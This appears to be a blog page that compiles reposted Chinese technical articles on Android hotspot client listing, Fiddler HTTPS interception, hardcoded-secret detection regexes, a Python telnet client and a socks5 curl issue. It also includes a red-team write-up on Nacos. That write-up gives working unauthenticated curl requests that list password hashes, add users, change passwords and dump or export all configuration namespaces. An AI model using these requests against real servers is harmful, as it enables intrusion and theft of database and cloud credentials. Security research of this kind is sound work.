Android 开启个人热点时 获取连接人数以及连接上的设备信息

Android 开启个人热点时 获取连接人数以及连接上的设备信息

本文转自多看一二 并作补充

起因

最近在开发过程当中,遇到一个需求 ,开启个人热点后需要知道有多少人连上了这个热点 以及这些设备的信息

经过一段时间的摸索和反复的查阅资料,有了下面的代码和解决办法:

首先 连接热点的所有信息都保存在proc/net/arp下面 用re文件管理器可以查看一下

会发现 里面有连接的设备的 ip mac地址 等等

好了 那么问题就简单了

直接贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
BufferedReader br = null;
ArrayList<ClientScanResult> result = null;

try {
result = new ArrayList<>();
br = new BufferedReader(new FileReader("/proc/net/arp"));//读取这个文件
String ss=br.toString();
String line;
while ((line = br.readLine()) != null) {
String[] splitted = line.split(" +");//将文件里面的字段分割开来
if (splitted.length >= 4) {
// Basic sanity check
String mac = splitted[3];// 文件中分别是IP address HW type Flags HW address mask Device

//然后我们拿取HW address 也就是手机的mac地址进行匹配 如果有 就证明是手机

if (mac.matches("..:..:..:..:..:..")) {
boolean isReachable = InetAddress.getByName(splitted[0]).isReachable(reachableTimeout);

if (!onlyReachables || isReachable) {

result.add(new ClientScanResult(splitted[0], splitted[3], splitted[5], isReachable));//最后如果能匹配 那就证明是连接了热点的手机 加到这个集合里 里面有所有需要的信息
}
}
}
}
} catch (Exception e) {
CandyLog.e(e.getMessage());
} finally {
try {
if (br != null) {
br.close();
}
} catch (IOException e) {
CandyLog.e(e.getMessage());
}
}

public class ClientScanResult {

private String IpAddr;
private String HWAddr;
private String Device;
private boolean isReachable;

public ClientScanResult(String ipAddr, String hWAddr, String device, boolean isReachable) {
super();
this.IpAddr = ipAddr;
this.HWAddr = hWAddr;
this.Device = device;
this.isReachable = isReachable;
}

public String getIpAddr() {
return IpAddr;
}

public void setIpAddr(String ipAddr) {
IpAddr = ipAddr;
}


public String getHWAddr() {
return HWAddr;
}

public void setHWAddr(String hWAddr) {
HWAddr = hWAddr;
}


public String getDevice() {
return Device;
}

public void setDevice(String device) {
Device = device;
}


public boolean isReachable() {
return isReachable;
}

public void setReachable(boolean isReachable) {
this.isReachable = isReachable;
}

}

好了 想要知道连接人数 只要得到集合的size就可以了 又解决一个问题

关键点在于 热点信息储存在proc/net/arp 里面 有兴趣的可以了解下proc目录 里面有很多很多信息

Fiddler设置解密https的网络数据

Fiddler设置解密https的网络数据

本文转自Admirer_joker 并作补充

原理

Fiddler可以通过伪造CA证书来欺骗了浏览器和https服务器。大致原理就是在浏览器面前fiddler伪装成为一个https服务器,而在真正的https服务器面前fiddler又伪装成为浏览器,从而实现解密https数据包的目的;

步骤

解密https需要手动开启,步骤如下:

1. Tools –> Fiddler Options –> HTTPS

2. 打开options-https后,如图:

image

image

image

敏捷代码审计之代码硬编码

敏捷代码审计之代码硬编码

本文转自Sanduo 并作补充

介绍

硬编码(英语:Hard Code或Hard Coding)是指在软件编码过程中,将输出或输入的相关参数(例如:路径、输出的形式或格式)直接以常量的方式撰写在源代码中,而非在执行期间由外界指定的设置、资源、资料或格式做出适当回应。一般被认定是种反模式或不完美的实现,因为软件受到输入资料或输出格式的改变就必须修改源代码,对客户而言,改变源代码之外的小设置也许还比较容易。但硬编码的状况也并非完全只有缺陷,因某些封装需要或软件本身的保护措施,有时是必要的手段。除此之外,有时候因应某些特殊的需求,制作出简单的应用程序,应用程序可能只会执行一次或者有限的几次,或者永远只应付某种单一需求。
所谓硬编码,就是把一个本来应该(可以)写到配置信息中的信息直接在程序代码中写死了。密钥硬编码在代码中,而根据密钥的用途不同,这导致了不同的安全风险,有的导致加密数据被破解,数据不再保密,有的导致和服务器通信的加签被破解,引发各种血案。

硬编码检测方法

方法论主要参考:密码密钥硬编码检查,参考链接详见文章末尾。

鉴别密码密钥方法

香农熵(Shannon entropy)

密钥的长度决定了密钥空间(keyspace),通常以位为单位。密钥空间越大,密钥被攻破的难度就越大。
密钥是由密钥空间的随机值构成。对于任意一个随机变量 X,它的熵定义如下:

image

变量的不确定性越大,熵也就越大,把它搞清楚所需要的信息量也就越大。

  • P(x_i)P(xi) : 指的是单个样本变量所属的变量种类的个数占据所有变量个数的比例。同等长度的字符串,通常密钥的熵值更高
  • 密钥为避免彩虹攻击,在取值上更加的离散,会尽量采用不重复的字符。就像我们为了增加密码的复杂性,要求长度不小于8,必须包含大小写、特殊字符、以及数字一样的道理。所以密钥的熵值会比一般的文本要高的多。我们就是利用这点来识别字符串是否是密钥。

工具的检查逻辑

对于密码密钥的硬编码检查可以采用静态分析工具来完成。工具的检查过程通常包含四个过程:输入文件准备、检查、过滤和报告输出。

image

输入文件分类

我们需要检查的文本文件进行分类,通常包括以下几种类型:

  • 程序语言:C、C++、Java、Python、Go、Js等;
  • 有统一格式的文件:属性文件、yaml、csv、json、xml等;
  • 文本文件:没有固定格式的文本文件。
    分类的目的是为了更好的识别文件中的字符串常量,充分利用字符串常量的上下文关联,以便在分析中最大程度的减少误报。

输入文件转换

  • 程序语言:通过各语言的语法解析器,解析成抽象语法树,提取语法树中的等于字符串的常量,以及对应的变量名;
  • 有统一格式的文件:照格式转换成变量名和字符串常量值;
  • 文本文件:采用token的方式分割成一个个的token,变成一个各的字符串常量。

密码密钥检查

在我们得到大量的变量名和字符串常量后,主要通过正则表达式匹配的方式完成目标的筛选。我们收集的密钥格式包括国内国外主流平台、SDK等相关系统的密钥配置参数名称,可以根据客户的实际情况手动增加和优化规则,进而提高检测的速度和效率。
由于检查密码密钥的种类和类型不同,可以通过配置文件来提高检查能力的可扩展性。
检查配置选项主要包括以下内容:

|信息 |描述 |
|检查类型 |可分为:变量名、字符串常量、或两个都检查 |
|密码密钥的类型 |用于区分不同类型的密码密钥;同时用于告警时区分具体检测到的密码密钥类型 |
|正则表达式 |主要设定匹配的长度,每个字符的可选类型 |
|熵值的阈值 |用于精确的识别密码密钥的类型,降低误报 |

例如:
检查硬编码的口令:检查变量名中包含:password、passwd、pwd的变量,且变量等于字符串常量;正则表达式可以设置成为:”.*(password|passwd|pwd)$”。
检查GitHub的个人凭证:检查字符串常量;这个凭证是以”ghp_”开头的,跟随长度为36的字符串,且每个字符可以为数字和字母;正则表达式可以设置成为:“ghp_[0-9a-zA-Z]{36}”。

密码密钥过滤

静态分析能很大程度上减少了人工审核的工作量,但由于检查模式的不确定性,也会带来不少的误报。误报会给用户在审核过程中带来很大的负面情绪,从而不愿继续使用工具。为了进一步降低误报,我们可以通过下面的方式来降低误报:

  • 密码密钥熵值的计算
    前面讨论过密码密钥的特点,可以通过检测密码密钥的信息熵的方式来降低误报。有些密码密钥设定了最低的阈值,但还是有很多密码密钥并未给出具体的阈值,这个就需要通过经验积累来设定,目前业界也有通过机器学习来完善这个阈值的设定。
  • 污点分析
    在代码中,对于口令的变量的取名上,很多并不会遵守可读性和可维护性来设定变量名,通过前面正则表达式的方式来查找硬编码密码的方式,会造成很多的漏报。这里还可以通过污点分析的方法,来推导出密码是否采用了硬编码。例如检查jdbc连接的密码参数,查看该参数是否为字符串常量。

报告输出

将经过过滤后的结果,输出告警,给出可能泄露的文件名和变量或可能为密码密钥的常量字符串位置,便于人工的排查。

硬编码检测实战

对于审计人员或者安全管理人员并不需要关注密钥检查的算法,通常只需要选用合适的流程,匹配恰当的工具,迅速准确的定位硬编码即可。

检查的流程

信息收集:此阶段中,审计人员进行必要的信息收集,包括本次审计要求、稳定版本的源代码。
工具审计:确定工具审计的标准和各项配置参数,使用Fortify、gitleaks等工具检测目标源代码,对工具检测的结果进行人工核查,筛选,分析,汇总。
人工审计:对客户要求人工审计的重点代码采用人工分析的方法,对源代码中的硬编码进行审计。
综合汇总:将工具审计和人工审计的结果进行对比汇总
输出报告:此阶段中,审计人员根据测试的结果编写直观的硬编码审计服务报告。
源代码硬编码审计要求工作人员有丰富的经验及新颖的思路,同时也是一项比较耗费时间和资源的工作,从效率考虑,一般选择性的抽取部分重要环节的代码进行人工审计。

开源检查工具

SecretScanner

项目地址:https://github.com/deepfence/SecretScanner
SecretScanner可以扫描主机上的容器镜像或本地目录,主要通过正则匹配,扫描效率较高,不仅支持代码而且支持容器扫描,并将结果输出到JSON文件,其中会包含SecretScanner找到的所有敏感数据的详细信息。
SecretScanner方便安全人员在主机上收集敏感数据,如果需要审计特定类型代码或者增加新的硬编码检测点,需要手动修改规则,默认配置文件位于项目中的config.yaml,可以根据实际情况自行修改。

image

不足:规则数量一般

gitleaks

Gitleaks为你提供了一种方法来扫描你的git存储库,以查找这些不需要的数据,这些数据应该是私有的,扫描可以自动化,以完全适合CI/CD工作流程,以便在密码识别更深入到代码库之前进行识别。
gitleaks比较有趣的有以下几点:

  • 支持私有存储库扫描以及需要基于密钥的身份验证的存储库。
  • 支持Gitlab批量组织和存储库所有者(用户)存储库扫描,并提取请求扫描以在常见CI工作流中使用。
  • 支持Pre-Commit,方便研发人员在提交之前进行硬编码检测,防止敏感信息提交。
  • 支持使用git log命令验证由gitleaks找到的发现

image

不足:对普通用户友好程度一般,对于pre-commit需要手动配置,并且在大文件扫描效率较低,官方已移除多线程配置参数,使用默认线程数进行扫描,如果在使用过程中感觉缓慢,可自行设定编译。同样规则数量一般,可以根据实际情况添加。

SASTs

各种SAST工具都可以检测硬编码,但是受限于使用场景,只能检测较少的硬编码场景,比如password,key等,对于特定的硬编码需要手动增加规则,规则友好性一般。

硬编码检测规则

无论gitleaks还是secretScanner,均使用正则匹配相关硬编码,敏感信息,我这里整理出部分敏感信息参数,供大家参考,至于规则,按照要求,自行补充即可,比较简单,这里就不单独描述了

1
regex: '(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}[\"]([0-9a-zA-Z\-_=]{8,64})[\"]' 

参考

密码密钥硬编码检查
SecretScanner
gitleaks
浅谈密钥硬编码

Python telnet模块说明

Python telnet模块说明

本文转自三番鱼 并作补充

程序要点说明

python实现telnet客户端的六个关键问题及其答案是:
使用什么库实现telnet客户端—-telnetlib

1.怎么连接主机—-两种方法,一种是在实例化时传入ip地址连接主机(tn = telnetlib.Telnet(host_ip,port=23)),第二种是,先不传参数进行实例化再用open方法连接主机(我这里使用的方法)

2.怎么输入用户名密码—-我们使用read_untilb函数监听,出现标志后使用write方法向服务端传输用户名密码

3.怎么执行命令—-仍然是使用write方法向服务端传送命令,不管向服务端传送什么数据都用write;不过要注意需要编码成bytes类型
注:该Telnet.write()函数采用字节字符串。这可以通过仅编码字符串(您尝试编码函数的返回值)来提供,例如:

1
session.write("administrator\n".encode('ascii'))

或者通过为字符串添加前缀b如下:

1
2
3
4
5
6
7
8
9
10
import telnetlib

host = "192.168.1.0"
port = 23
timeout = 100

with telnetlib.Telnet(host, port, timeout) as session:
session.write(b"administrator\n")
session.write(b"password\n")
session.write(b"reboot\n")

4.怎么获取命令执行结果—-使用read_very_eager()方法,该方法获取的内容是上次获取之后本次获取之前的所有输入输出;由于获取到的是bytes类型要decode解码一下

5.怎么退出telnet—退出telnet使用write方法向服务器提交exit命令即可

程序源码清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import logging
import telnetlib
import time


class TelnetClient():
def __init__(self,):
self.tn = telnetlib.Telnet()

# 此函数实现telnet登录主机
def login_host(self,host_ip,username,password):
try:
# self.tn = telnetlib.Telnet(host_ip,port=23)
self.tn.open(host_ip,port=23)
except:
logging.warning('%s网络连接失败'%host_ip)
return False
# 等待login出现后输入用户名,最多等待10秒
self.tn.read_until(b'login: ',timeout=10)
self.tn.write(username.encode('ascii') + b'\n')
# 等待Password出现后输入用户名,最多等待10秒
self.tn.read_until(b'Password: ',timeout=10)
self.tn.write(password.encode('ascii') + b'\n')
# 延时两秒再收取返回结果,给服务端足够响应时间
time.sleep(2)
# 获取登录结果
# read_very_eager()获取到的是的是上次获取之后本次获取之前的所有输出
command_result = self.tn.read_very_eager().decode('ascii')
if 'Login incorrect' not in command_result:
logging.warning('%s登录成功'%host_ip)
return True
else:
logging.warning('%s登录失败,用户名或密码错误'%host_ip)
return False

# 此函数实现执行传过来的命令,并输出其执行结果
def execute_some_command(self,command):
# 执行命令
self.tn.write(command.encode('ascii')+b'\n')
time.sleep(2)
# 获取命令结果
command_result = self.tn.read_very_eager().decode('ascii')
logging.warning('命令执行结果:\n%s' % command_result)

# 退出telnet
def logout_host(self):
self.tn.write(b"exit\n")

if __name__ == '__main__':
host_ip = '192.168.220.129'
username = 'root'
password = 'abcd1234'
command = 'whoami'
telnet_client = TelnetClient()
# 如果登录结果返加True,则执行命令,然后退出
if telnet_client.login_host(host_ip,username,password):
telnet_client.execute_some_command(command)
telnet_client.logout_host()

python 库 telnetlib: Telnet客户端:
telnetlib模块提供的Telnet类实现了Telnet协议。它为协议字符和telnet选项提供符号常量,符号常量来源于arpa/telnet.h去掉了前缀TELOPT_

1.Telnet.read_all(): 读取所有数据直到EOF,阻塞直到连接关闭
2.Telnet.read_some(): 读取至少一个字节的数据,除非EOF。如果没有数据则阻塞。
3.Telnet.read_until(expected[, timeout]):常用于登录,与write连用;读取直到遇到了给定的字符串expected或超时秒数
4.Telnet.read_very_eager(): 非阻塞地读取。连接关闭或者没有数据时触发EOFError异常,返回b’’如果没有数据。 获取命令执行结果:获取的内容是上次获取之后本次获取之前的所有输入输出
5.Telnet.read_eager(): 读取已有数据(快)
6.Telnet.read_lazy(): 读取已有数据(懒)
7.Telnet.read_sb_data(): 返回的SB/SE pair(suboption begin/end)之间的数据,此方法永远不会阻塞
8.Telnet.open(host[,port[,timeout]]): 连接到主机,可选的第二个参数是默认为标准的Telnet端口(23)的端口号。可选的超时参数(以秒指定)阻塞操作(如连接尝试超时(如果不指定,默认使用全局超时设置))
9.Telnet.msg(msg[, *args]): 当调试级别为>0打印调试信息
10.Telnet.set_debuglevel(debuglevel):设置调试级别。debuglevel越高信息越多。
11.Telnet.close() 关闭连接
12.Telnet.get_socket():返回套接字供内部使用
13.Telnet.fileno(): 返回套接字对象内部使用的文件描述
14.Telnet.write(buffer): 常用于执行命令;写入字符串到套接字,加倍IAC的任何字符。连接关闭时可能触发OSError异常。
15.Telnet.interact(): 交由用户控制
16.Telnet.mt_interact(): 多线程版本的interact()
17.Telnet.expect(list[, timeout]): 读取直到匹配正则表达式项列表中的一个。list是一个正则表达式列表,包含编译(regx对象)或未编译(字节字符串)。timeout以秒为单位,默认值为无限期阻塞。返回元祖的三个项目:

  • 1.index为匹配正则表达式的位置;
  • 2.match对象
  • 3.此时读了的字节
    18.Telnet.set_option_negotiation_callback(callback):每次从输入流读取telnet选项时,调用callback,后续步骤不会执行。

云原生组件Nacos新型红队手法研究

云原生组件Nacos新型红队手法研究

本文转自Zhuri 并作补充

组件简介

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

历史漏洞

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
https://github.com/alibaba/nacos/issues/1105
在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。
这里就不做过多介绍了,网上有很多。
就在我撰写本文的时候,官方刚刚发布了最新的版本2.2.0 (Dec 14, 2022),我们就来一探究竟。

部署方式

为了方便起见,我这里使用Debian系统并采用的单机部署的方式。

1
2
3
4
5
6
7
sudo apt-get update
sudo apt-get install default-jdk
sudo ufw disable
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip
unzip nacos-server-2.2.0.zip
cd nacos/bin
bash startup.sh -m standalone

然后访问http://ip:8848/nacos,如果出现登录界面,就说明部署成功了,默认的账号密码为nacos/nacos。

image

我们首先尝试使用老版本的payload尝试能不能打。

1
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

不出意外,返回:

1
caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%

我们仔细看一下报错,提示说是缺少search=blur或者search=accurate,那我们加上再试试看。

1
2
3
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'

curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'

image

这就成功了?
我一开始以为没修,后来发现,我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果,但是默认启动却不开鉴权的,并且根据github的issue来看,官方并不认为这是漏洞,以至于网上出了之前由于不当处理User-Agent导致的未授权访问漏洞之后,后人少有挖掘其利用方式,网上的相关资料也基本上停留在那次CVE。

未开启auth

由于默认是不开auth的,所以我们先来讨论未开启auth的情况。

读取用户账号密码

1
2
3
curl -X GET 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

未授权添加用户

1
2
3
curl -X POST 'http://192.168.20.144:8848/nacos/v1/auth/users?username=test1&password=test1'

{"code":200,"message":null,"data":"create user ok!"}

任意用户密码更改

1
curl -X PUT 'http://192.168.20.144:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'

基本上目前主流针对Nacos的利用手法就停留在这里了,以至于防守方会通过WAF规则的形式来拦截掉这几个url请求。
但是根据代码审计以及官方的api接口文档,我们还能找到许多可以利用的接口,官方文档里面有的,我就不说了,大家自己可以去OpenAPI(https://nacos.io/zh-cn/docs/open-api.html)自行查看,官网里面的OpenAPI所给出的利用价值并不是很高。

代码审计

下载源码后通过简单查找发现在nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.javanacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java文件下,有相关路由的定义,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static final String BASE_PATH = "/v1/cs";

public static final String BASE_V2_PATH = "/v2/cs";

public static final String OPS_CONTROLLER_PATH = BASE_PATH + "/ops";

public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + "/capacity";

public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + "/communication";

public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + "/configs";

public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + "/config";

public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + "/health";

public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + "/history";

public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + "/history";

public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + "/listener";

public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + "/namespaces";

public static final String METRICS_CONTROLLER_PATH = BASE_PATH + "/metrics";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final class Commons {

public static final String NACOS_SERVER_CONTEXT = "/nacos";

public static final String NACOS_SERVER_VERSION = "/v1";

public static final String NACOS_SERVER_VERSION_V2 = "/v2";

public static final String DEFAULT_NACOS_CORE_CONTEXT = NACOS_SERVER_VERSION + "/core";

public static final String NACOS_CORE_CONTEXT = DEFAULT_NACOS_CORE_CONTEXT;

public static final String NACOS_CORE_CONTEXT_V2 = NACOS_SERVER_VERSION_V2 + "/core";


}

我们可以看到有V1、V2两种API接口,我们根据不同类型再具体分析。

获取配置数据

根据官方OpenAPI的说明,你需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。

1
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos'

事实真的是这样吗?
我们看一下/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java文件中369行开始的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* Query the configuration information and return it in JSON format.
*/
@GetMapping(params = "search=accurate")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> searchConfig(@RequestParam("dataId") String dataId, @RequestParam("group") String group,
@RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
Map<String, Object> configAdvanceInfo = new HashMap<>(100);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfo4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}

/**
* Fuzzy query configuration information. Fuzzy queries based only on content are not allowed, that is, both dataId
* and group are NULL, but content is not NULL. In this case, all configurations are returned.
*/
@GetMapping(params = "search=blur")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> fuzzySearchConfig(@RequestParam("dataId") String dataId,
@RequestParam("group") String group, @RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
Map<String, Object> configAdvanceInfo = new HashMap<>(50);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}

我们可以看到首先先进行了signType = SignType.CONFIG的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数search=accurate时,从GET请求中获取参数dataId、group、appName、tenant、config_tags、pageNo、pageSize参数,其中appName、tenant、config_tags不是必填的,接着先检查appNameconfigTags是否为空,我们直接留空或者不填就能绕过这个判断,然后接下来就是迷之操作了,直接给我全部返回了。
所以我们直接构造参数,就可以发现能够获取全部的配置文件了。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’

或者:

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’

image

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

image

获取其他Namespace的配置数据

根据官方的OpenAPI文档描述,可以直接请求获取。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/console/namespaces'

我们查看对应的代码,处理namespace的代码在nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java这里,我们看从48行开始的代码,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RestController
@RequestMapping("/v1/console/namespaces")
public class NamespaceController {

@Autowired
private CommonPersistService commonPersistService;

@Autowired
private NamespaceOperationService namespaceOperationService;

private final Pattern namespaceIdCheckPattern = Pattern.compile("^[\\w-]+");

private static final int NAMESPACE_ID_MAX_LENGTH = 128;

/**
* Get namespace list.
*
* @return namespace list
*/
@GetMapping
public RestResult<List<Namespace>> getNamespaces() {
return RestResultUtils.success(namespaceOperationService.getNamespaceList());
}

这样一看上去,直接访问就能获取到Namespace列表,我们再跟一下namespaceOperationService.getNamespaceList():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public List<Namespace> getNamespaceList() {
// TODO 获取用kp
List<TenantInfo> tenantInfos = commonPersistService.findTenantByKp(DEFAULT_KP);

Namespace namespace0 = new Namespace("", DEFAULT_NAMESPACE, DEFAULT_QUOTA,
configInfoPersistService.configInfoCount(DEFAULT_TENANT), NamespaceTypeEnum.GLOBAL.getType());
List<Namespace> namespaceList = new ArrayList<>();
namespaceList.add(namespace0);

for (TenantInfo tenantInfo : tenantInfos) {
int configCount = configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
Namespace namespaceTmp = new Namespace(tenantInfo.getTenantId(), tenantInfo.getTenantName(),
tenantInfo.getTenantDesc(), DEFAULT_QUOTA, configCount, NamespaceTypeEnum.CUSTOM.getType());
namespaceList.add(namespaceTmp);
}
return namespaceList;
}

看上去也没有做什么限制,我们直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间。

image

这时候我们已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'

image

配置文件导出

就在我看上面上面这部分代码的时候,我们无意中发现了一个下载文件的接口,还是这个文件,找到了疑似导出配置文件的接口,我们继续跟进一下。
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java

image

接着我们在482行看到了相关代码。

image

根据逻辑,我们很轻松的构造出下载的链接,跟上面的类似,其中tenant为空默认下载public命名空间,如果要下载其他命名空间的配置文件则重复之前的先获取Namespace即可。

http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=

后记

现在来看,之所以因为官方觉得不开启auth不算是漏洞,是因为根据官网OpenAPI来看,你需要知道具体的 Data Id 以及 Group才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。
目前攻防对抗实战中,Nacos的环境遇到非常多,并且无一例外都没有开启auth,很多防守方甚至只是用防火墙阻断网上公开的那几条exp利用的关键地址,Nacos里面保存了企业很多的配置文件比如数据库连接信息、AK/SK信息等等,拿到账号密码等信息之后用来做密码本,然后再进行内网横向,杀伤力非常之大。

参考链接

https://nacos.io/en-us/docs/auth.html
https://github.com/alibaba/nacos/issues/1105

Curl-Socks5h-x

[Linux]讓 curl 藉由 socks5 proxy 連線時,不要反解 DNS,造成連線失敗

本文转自Ephrain 并作补充

Proxy Server链接问题

公司的專案程式通常需要支援各種 proxy server,如 HTTP proxy, socks4 和 socks5 proxy。
今天遇到一個問題,我們的程式底層會使用 libcurl 做 HTTP 連線,但連到一台 socks5 proxy 時卻不能成功…

試著用 curl 加上 -x 選項來指定 proxy server,再加 -v 選項看看詳細的錯誤訊息:

1
2
3
4
5
6
7
8
9
10
